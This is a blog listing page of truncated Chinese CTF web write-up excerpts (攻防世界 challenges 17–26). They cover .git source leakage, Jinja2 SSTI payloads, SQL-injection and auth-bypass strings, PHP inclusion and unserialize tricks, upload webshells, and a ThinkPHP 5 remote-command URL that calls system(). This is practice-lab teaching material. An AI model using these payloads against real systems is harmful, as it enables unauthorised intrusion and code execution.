攻防世界26-mfw-CTFWeb
攻防世界26-mfw-CTFWeb本文参考: WEB安全-常见源码泄露 | wh1te (lddp.github.io) 首先瞎点发现,可能存在git源码泄露问题,尝试.git访问,源码中也有按时page=flag,但访问无果 [My PHP Website](http://xx:xxx/.git) 下载工具githack,可以把整个.git 备份的文件下载下 在目录下打开cmd python GitHack.py http://61.147.171.105:64160/.git/ 下载源码,审计源码(templates下的flag文件的flag被注释了) 12345678910111213141516<?phpif (isset($_GET['page'])){ $page = $_GET['page'];}else { $page = "home";}$file = "templates/" . $page ....
攻防世界25-Web_python_template_injection-CTFWeb
攻防世界25-Web_python_template_injection-CTFWebpython模板注入,其实就是ssti,SSTI 注入 - Hello CTF (hello-ctf.com) 「模板注入 SSTI(Server-Side Template Injection)」 也一样,数据传递 就是可控的输入点,以 Jinja2 举例,Jinja2 在渲染的时候会把 {{}} 包裹的内容当做变量解析替换,所以当我们传入 {{表达式}} 时,表达式就会被渲染器执行。 测试一下 1http://61.147.171.105:65476/{{7*7}} 存在ssti 直接试试几个先看看 123456789{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings'...
攻防世界24-inget-Web
攻防世界24-inget-CTFWeb解法1:直接 ?id=’ or 1=1 –+ 或 ?id=’ or ‘1=1 ?id=’ or ‘1’=’1 –+是什么意思?当你只输入 id=' or 1=1 -- 而不包含空格时,某些数据库可能会因为语法错误无法执行,因为 -- 后面需要有一个空格才能正确地注释掉后续内容。 万能密码: 123456789101112131415161718192021222324252627282930313233343536373839' and '1'='1' or 1='1'or'='or'adminadmin'--admin' or 4=4--admin' or '1'='1'--admin888"or "a"="aadmin' or 2=2#a'...
攻防世界23-web2-Web
攻防世界23-web2-CTFWeb12345678910111213141516171819202122<?php$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";function encode($str){ $_o=strrev($str); // echo $_o; for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c)+1; $_c=chr($__); $_=$_.$_c; } return str_rot13(strrev(base64_encode($_)));}highlight_file(__FILE__);/* ...
攻防世界22-supersqli-Web
攻防世界22-supersqli-CTFWebsql注入,提交1,查询得到信息,看看是否存在注入点 1 union select 1 发现return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject); 存在过滤,这题有多种方法,涨知识 11';show databases; # 11';use supersqli;show tables;# 10';use supersqli;show columns from `1919810931114514`# 字符串为表名操作时要加反引号。 解法1:在MySQL中,handler也可以执行查询 可以查一下handler的使用方法: 10';handler `1919810931114514` open;handler `1919810931114514` read...
攻防世界21-Web_php_unserialize-Web
攻防世界21-Web_php_unserialize-CTFWeb跟反序列化有关 123456789101112131415161718192021222324252627<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php ...
攻防世界20-warmup-Web
攻防世界20-warmup-CTFWeb看源码,提示source.php 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return...
攻防世界19-upload1-Web
攻防世界19-upload1-CTFWeb进阶跟上传有关,随便上传一个文件,提示上传图片 发现有disabled 解法1:删掉试试,发现可以上传了。 试试上传这个 被执行了 可以修改命令 找到了 解法2:可以试试一句话木马
攻防世界18-Web_php_include-Web
攻防世界18-Web_php_include-CTFWeb进阶看名字可能是文件包含的题 文件包含知识点:文件包含 - Hello CTF (hello-ctf.com)和文件包含漏洞全面详解-CSDN博客 123456789<?phpshow_source(__FILE__);echo $_GET['hello'];$page=$_GET['page'];while (strstr($page, "php://")) { $page=str_replace("php://", "", $page);}include($page);?> 解法1:小试牛刀: 代码审计一下发现,php://会被删除掉,看一下能不能用其他的伪协议 data://text/plain,...
攻防世界17-php_rce-Web
攻防世界17-php_rce-CTFWeb进阶 这题没什么头绪,还以为是个广告,提到了ThinkPHPV5,和phprce,可以去查一下 找到了一些帖子,看一下 解法1:发现了这么一个用法: /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 可以替换一些指令,ls查看没看到一些有用的信息,我用find指令去看看find / -type f -name ‘flag‘ /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -type f -name...